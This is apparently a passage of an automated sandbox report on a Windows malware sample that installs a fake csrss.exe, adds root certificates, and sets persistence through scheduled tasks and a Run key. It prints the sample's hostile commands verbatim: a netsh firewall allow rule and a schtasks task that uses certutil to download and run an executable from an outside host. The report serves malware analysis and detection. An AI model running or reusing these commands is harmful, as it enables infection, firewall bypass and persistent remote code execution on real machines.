1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exeb5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

pid	process
964	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	964	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Token: SeImpersonatePrivilege	964	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
Token: SeSystemEnvironmentPrivilege	1744	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.execmd.exe

description	pid	process	target process
PID 1404 wrote to memory of 1680	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	cmd.exe
PID 1404 wrote to memory of 1680	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	cmd.exe
PID 1404 wrote to memory of 1680	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	cmd.exe
PID 1404 wrote to memory of 1680	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	cmd.exe
PID 1680 wrote to memory of 1656	1680	cmd.exe	netsh.exe
PID 1680 wrote to memory of 1656	1680	cmd.exe	netsh.exe
PID 1680 wrote to memory of 1656	1680	cmd.exe	netsh.exe
PID 1404 wrote to memory of 1744	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe
PID 1404 wrote to memory of 1744	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe
PID 1404 wrote to memory of 1744	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe
PID 1404 wrote to memory of 1744	1404	b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
"C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe
"C:\Users\Admin\AppData\Local\Temp\b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1404

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1656

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe /15-15
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1744

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1632

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:452

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2044

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193312.log C:\Windows\Logs\CBS\CbsPersist_20230129193312.cab
1⤵
- Drops file in Windows directory
PID:1304

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Disabling Security Tools

2

T1089

Modify Registry

4

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
bf8bd00031a3a08e4e62dbfff08b9bfa

SHA1
1f1264370e6b86999998dd99596de4010a283c31

SHA256
b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

SHA512
f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
bf8bd00031a3a08e4e62dbfff08b9bfa

SHA1
1f1264370e6b86999998dd99596de4010a283c31

SHA256
b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

SHA512
f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
bf8bd00031a3a08e4e62dbfff08b9bfa

SHA1
1f1264370e6b86999998dd99596de4010a283c31

SHA256
b5c96182c0205792e006ee86482650eb7098caba9b753800a796879af113aa0e

SHA512
f25e70666ff8c0bce67e6f400386d69a125c2eb5eac98f0b4a69a8909042cc50d0335293e3093e2350b710ea0b275a9b7a852eac471371568d0fb368c3cbb2a5

Download Submit
memory/964-59-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/964-58-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/964-54-0x00000000025A0000-0x0000000002947000-memory.dmp

Filesize
3.7MB

Download
memory/964-57-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/964-56-0x0000000002950000-0x0000000003152000-memory.dmp

Filesize
8.0MB

Download
memory/964-55-0x00000000025A0000-0x0000000002947000-memory.dmp

Filesize
3.7MB

Download
memory/1404-61-0x00000000025E0000-0x0000000002987000-memory.dmp

Filesize
3.7MB

Download
memory/1404-65-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/1404-70-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/1404-60-0x00000000025E0000-0x0000000002987000-memory.dmp

Filesize
3.7MB

Download
memory/1656-64-0x000007FEFBDF1000-0x000007FEFBDF3000-memory.dmp

Filesize
8KB

Download
memory/1656-63-0x0000000000000000-mapping.dmp

Download
memory/1680-62-0x0000000000000000-mapping.dmp

Download
memory/1744-71-0x00000000026E0000-0x0000000002A87000-memory.dmp

Filesize
3.7MB

Download
memory/1744-75-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/1744-74-0x0000000000400000-0x0000000000C24000-memory.dmp

Filesize
8.1MB

Download
memory/1744-73-0x0000000002A90000-0x0000000003292000-memory.dmp

Filesize
8.0MB

Download
memory/1744-72-0x00000000026E0000-0x0000000002A87000-memory.dmp

Filesize
3.7MB

Download
memory/1744-68-0x0000000000000000-mapping.dmp

Download
memory/2044-78-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2044-79-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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